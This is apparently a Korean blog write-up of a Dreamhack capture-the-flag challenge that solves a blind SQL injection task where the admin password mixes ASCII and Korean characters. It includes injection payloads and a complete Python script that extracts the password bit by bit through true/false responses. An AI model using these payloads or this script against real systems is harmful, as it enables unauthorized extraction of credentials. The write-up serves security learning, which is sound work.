문제 확인
문제에서 '관리자의 비밀번호는 "아스키코드"와 "한글"로 구성되어 있다.'고 하였는데, 이 말은 Blind SQL Injection 공격을 진행할 때 데이터가 반드시 아스키 범위로 구성되었을 것이라는 고정관념을 가지지 말아야 함을 의미한다.
Blind SQL Injection이란?
데이터베이스 에러 메시지나 데이터가 직접적으로 노출되지 않을 때 사용하는 공격 기법으로 쿼리 결과 즉 서버의 참/거짓 반응을 통해 데이터를 얻어내는 공격
Blind SQL Injection 공격 Step
STEP 1. 취약점 확인
SQL Injection이 가능한지 확인해야 한다.
작은따옴표(')를 붙였을 때, 이를 문자로 인식하는지 아닌지를 보거나,
and 1 = 1을 추가했을 때 영향을 미치는지 등으로 SQL Injection 여부를 체크해준다
STEP 2. Blind Injection이 가능한 곳인지 확인
> admin' and 1 = 1 #
> admin' and 1 = 2 #
admin이라는 아이디가 있다는 가정 하에 두 쿼리를 삽입한다면, 위의 쿼리는 참, 아래의 쿼리는 거짓이라는 결과가 나올 것이다.
쿼리의 결과가 참이냐 거짓이냐에 따라 다른 결과가 나오기 때문에, Blind SQL Injection의 여지가 있음을 알 수 있다.
STEP 3. Blind SQL Injection 임의의 select 문 삽입
문제 풀이
파일을 다운받는다.
현재 코드에서 uid는 직접 SQL 쿼리에 삽입되기 때문에 SQL 인젝션에 매우 취약하다.
Flask와 mysql을 이용한 웹 서버가 동작하고 있으며, / 경로에 GET 메소드로 uid 파라미터를 통해 이용자 입력을 전달받는다. 전달받은 입력은 별도의 여과 없이 바로 mysql 쿼리에 사용되기 때문에 SQL Injection 취약점이 발생하는 것이다.
- user_db라는 이름의 새로운 데이터베이스를 생성한다.
- 이 데이터베이스의 문자 세트는 utf8로 설정되어, 다국어 문자를 저장할 수 있도록 한다.
CREATE DATABASE user_db CHARACTER SET utf8;
- dbuser라는 사용자에게 user_db 데이터베이스의 모든 테이블에 대한 모든 권한을 부여한다.
- 이 사용자는 localhost에서만 접속할 수 있으며, 비밀번호는 'dbpass'이다.
- GRANT ALL PRIVILEGES는 데이터베이스 및 테이블을 읽기, 쓰기, 수정, 삭제할 수 있는 모든 권한을 부여하는 명령어이다.
GRANT ALL PRIVILEGES ON user_db.* TO 'dbuser'@'localhost' IDENTIFIED BY 'dbpass';
- 이 명령어는 이후 명령어들이 user_db 데이터베이스를 대상으로 실행되도록 한다. 즉, user_db 데이터베이스 안에서 작업을 수행한다.
USE `user_db`;
- users라는 이름의 테이블을 생성한다.
- 테이블 구조는 다음과 같다:
- idx: 사용자 정보를 저장하는 각 레코드에 대해 고유한 정수 값을 자동으로 증가시키는 기본 키(primary key).
- uid: 사용자 ID를 저장하는 문자열 필드로, 최대 128자의 문자를 허용하며, NOT NULL 제약 조건으로 반드시 값이 있어야 한다.
- upw: 사용자의 비밀번호를 저장하는 문자열 필드로, 역시 최대 128자이며, 비밀번호도 NOT NULL 제약 조건을 가진다.
CREATE TABLE users (
idx int auto_increment primary key,
uid varchar(128) not null,
upw varchar(128) not null
);
- users 테이블에 몇 개의 사용자를 미리 추가한다:
- 첫 번째 레코드는 uid가 admin이고 upw가 DH{**FLAG**}인 사용자이다.
- 두 번째 사용자는 guest라는 사용자 ID와 guest라는 비밀번호를 가진다.
- 세 번째 사용자는 test라는 사용자 ID와 비밀번호를 가지고 있다.
INSERT INTO users (uid, upw) values ('admin', 'DH{**FLAG**}');
INSERT INTO users (uid, upw) values ('guest', 'guest');
INSERT INTO users (uid, upw) values ('test', 'test');
FLUSH PRIVILEGES 명령어는 데이터베이스에서 사용자와 권한 변경 사항을 즉시 적용하도록 다. 이는 권한 설정 명령이 실행된 이후 데이터베이스에서 이를 반영하도록 한다.
FLUSH PRIVILEGES;
서버를 생성한다.
admin을 입력하면 아래와 같은 화면이 출력된다.
Blind SQL Injection에서는 응답 페이지가 True와 False로 나뉘는 경우에만 SQL 주입을 통해 서버의 반응을 이용하여 정보를 추출할 수 있다.
uid는 직접 SQL 쿼리에 삽입되기 때문에 SQL 인젝션 취약점이 발생한다.
하지만 쿼리 실행 결과를 그대로 알려주는 것이 아니라 성공 유무만 알 수 있으므로, Blind SQL Injection 공격을 해야한다..
utf-8 언어셋에서 한글은 11,172개의 경우의 수가 존재하기 때문에 이를 순차적으로 증가하면서 브루트포싱하는 것은 굉장히 비효율적이다. 따라서 비트연산을 이용하여 효율적인 공격을 하도록 한다.
SQL Injection 테스트
입력 값에 대한 어떠한 검사도 없이 where 절에 삽입되기 때문에 ' 문자를 넣어 SQL Injection 공격을 수행할 수 있다.
' or 1=1 limit 0,1-- 과 ' or 1=2 limit 0,1- - 구문을 통해 참과 거짓을 구분할 수 있음을 확인할 수 있다.
-> 여기서 limit 0,1을 수행해줘야 하는 이유는 다음과 같이 템플릿에서 row가 1개여야 하는 조건을 만족해야 결과값을 출력하기 때문이다.
-> limit을 통해 row의 갯수를 지정하지 않을 경우, 세 개의 row가 반환되어 참/거짓을 구분할 수 있는 문장을 확인할 수 없다.
{% if nrows == 1%}
<pre style="font-size:150%">user "{{uid}}" exists.</pre>
{% endif %}
익스플로잇 설계
이제 admin 계정의 패스워드를 추출하기 위한 익스플로잇을 설계해야 한다.
파이썬의 requests 모듈을 이용해 작성한다.
1. admin 패스워드 길이 찾기
먼저 Blind SQL Injection을 진행하기 위해 admin 패스워드의 길이를 알아내야 한다.
2. 각 문자 별 비트열 길이 찾기
패스워드의 각 문자가 한글인지 아스키코드인지 알 수 없기 때문에 이를 판단하기 위해서 각 문자를 비트열로 표현했을 때의 길이를 알아내야 한다.
3. 각 문자 별 비트열 추출
패스워드 별 각 문자에 해당하는 비트열을 추출한다. 이때 아스키코드의 경우 최대 8번, 한글의 경우 최대 24번의 요청으로 추출할 수 있다.
4. 비트열을 문자로 변환
추출한 비트열을 문자로 변환한다. 이 때 각 문자의 인코딩이 utf-8 이었음을 감안해 변환해야 한다.
admin 패스워드 길이 찾기
MySQL에서 데이터의 길이를 알아내기 위해 length 함수를 사용한다.
- length 함수 : 문자열을 bytes 형태로 표현하였을 때의 길이를 반환하는 함수이다.
즉, 인코딩에 관계없이 전체 문자열을 표현하는데에 사용되는 바이트의 수를 반환하기 때문에 만약 아스키코드로 문자열이 구성되어있지 않다면, 올바르지 않은 값을 반환할 수 있다.
따라서 문자열 인코딩에 따른 정확한 길이를 계산하기 위해서는 char_length 함수를 사용해야 한다.
admin 패스워드의 길이를 찾기 위해 다음과 같은 형태로 쿼리를 작성할 수 있다:
admin' and length(upw) = {length}-- -
이를 requests 모듈을 이용해 코드를 작성하면 아래와 같다.
from requests import get
host = "http://localhost:5000"
password_length = 0
while True:
password_length += 1
query = f"admin' and char_length(upw) = {password_length}-- -"
r = get(f"{host}/?uid={query}")
if "exists" in r.text:
break
print(f"password length: {password_length}")
각 문자 별 비트열 길이 찾기
패스워드의 각 문자가 한글인지 아스키코드인지 알 수 없기 때문에 비트열로 변환하여 추출하기 전에 각 비트열의 길이를 찾아야 한다.
admin 패스워드의 길이를 찾을 때와 동일한 방식으로 찾을 수 있으며, 비트열은 모두 0과 1 로 이루어져있기 때문에 일반적인 length 함수를 사용하여도 무방하다.
각 문자 별 비트열 길이를 찾기 위해 다음과 같은 형태로 쿼리를 작성할 수 있다:
admin' and length(bin(ord(substr(upw, {i}, 1)))) = {bit_length}-- -
이를 requests 모듈을 이용해 코드를 작성하면 다음과 같다.
for i in range(1, password_length + 1):
bit_length = 0
while True:
bit_length += 1
query = f"admin' and length(bin(ord(substr(upw, {i}, 1)))) = {bit_length}-- -"
r = get(f"{host}/?uid={query}")
if "exists" in r.text:
break
print(f"character {i}'s bit length: {bit_length}")
각 문자 별 비트열 추출
각 문자 별 비트열의 길이를 구했다면, 다음으로 각 문자 별 비트열을 모두 추출해야 한다.
비트열의 길이를 구할 때와 비슷한 방식으로 쿼리를 작성할 수 있다:
admin' and substr(bin(ord(substr(upw, {i}, 1))), {j}, 1) = '1'-- -
이를 requests 모듈을 이용해 코드를 작성하면 다음과 같다.
bits = ""
for j in range(1, bit_length + 1):
query = f"admin' and substr(bin(ord(substr(upw, {i}, 1))), {j}, 1) = '1'-- -"
r = get(f"{host}/?uid={query}")
if "exists" in r.text:
bits += "1"
else:
bits += "0"
print(f"character {i}'s bits: {bits}")
비트열을 문자로 변환
패스워드의 각 비트열을 모두 추출했다면, 이를 다시 문자로 변환해주어야 한다.
-> 한글과 같이 아스키코드 범위가 아닌 문자의 경우, 인코딩에 유의하여 변환해주어야 한다.
예를 들어, 가 의 경우 utf-8로 인코딩하였을 때 \xea\xb0\x80 로 표현되는데, 이를 비트열로 표현하면 111010101011000010000000가 된다.
비트열을 다시 문자로 변환하기 위해서는 다음과 같은 순서로 진행해야 한다.
- 비트열을 정수로 변환
- 정수를 Big Endian 형태의 문자로 변환
- 변환된 문자를 인코딩에 맞게 변환
비트열을 정수로 변환하기 위해 int 클래스를 사용할 수 있고,
정수를 Big Endian 형태로 변환하기 위해 int.to_bytes 함수를 사용할 수 있다.
마지막으로 문자를 인코딩에 맞게 변환하기 위해 bytes.decode 함수를 사용할 수 있다.
password = ""
for i in range(1, password_length + 1):
...
password += int.to_bytes(int(bits, 2), (bit_length + 7) // 8, "big").decode("utf-8")
최종 익스플로잇
from requests import get
host = "http://localhost:5000"
password_length = 0
while True:
password_length += 1
query = f"admin' and char_length(upw) = {password_length}-- -"
r = get(f"{host}/?uid={query}")
if "exists" in r.text:
break
print(f"password length: {password_length}")
password = ""
for i in range(1, password_length + 1):
bit_length = 0
while True:
bit_length += 1
query = f"admin' and length(bin(ord(substr(upw, {i}, 1)))) = {bit_length}-- -"
r = get(f"{host}/?uid={query}")
if "exists" in r.text:
break
print(f"character {i}'s bit length: {bit_length}")
bits = ""
for j in range(1, bit_length + 1):
query = f"admin' and substr(bin(ord(substr(upw, {i}, 1))), {j}, 1) = '1'-- -"
r = get(f"{host}/?uid={query}")
if "exists" in r.text:
bits += "1"
else:
bits += "0"
print(f"character {i}'s bits: {bits}")
password += int.to_bytes(int(bits, 2), (bit_length + 7) // 8, "big").decode("utf-8")
print(password)
코드를 돌리면 아래와 같이 플래그 값을 확인할 수 있다.
* host 값에 생성한 서버의 url 주소를 저장해주면 된다.
[참고]
'SWLUG > CTF' 카테고리의 다른 글
[WebHack][WebGoat] SQL Injection (intro) (3) | 2024.10.02 |
---|---|
[CTF/ Dreamhack] error based sql injection (6) | 2024.09.30 |
[CTF/ Dreamhack] CProxy: Inject (0) | 2024.09.25 |
[WebHack][Webhacking.kr] old-52 (1) | 2024.09.23 |
[WebHack][WebGoat] 환경세팅 & Hijack a session (1) | 2024.09.16 |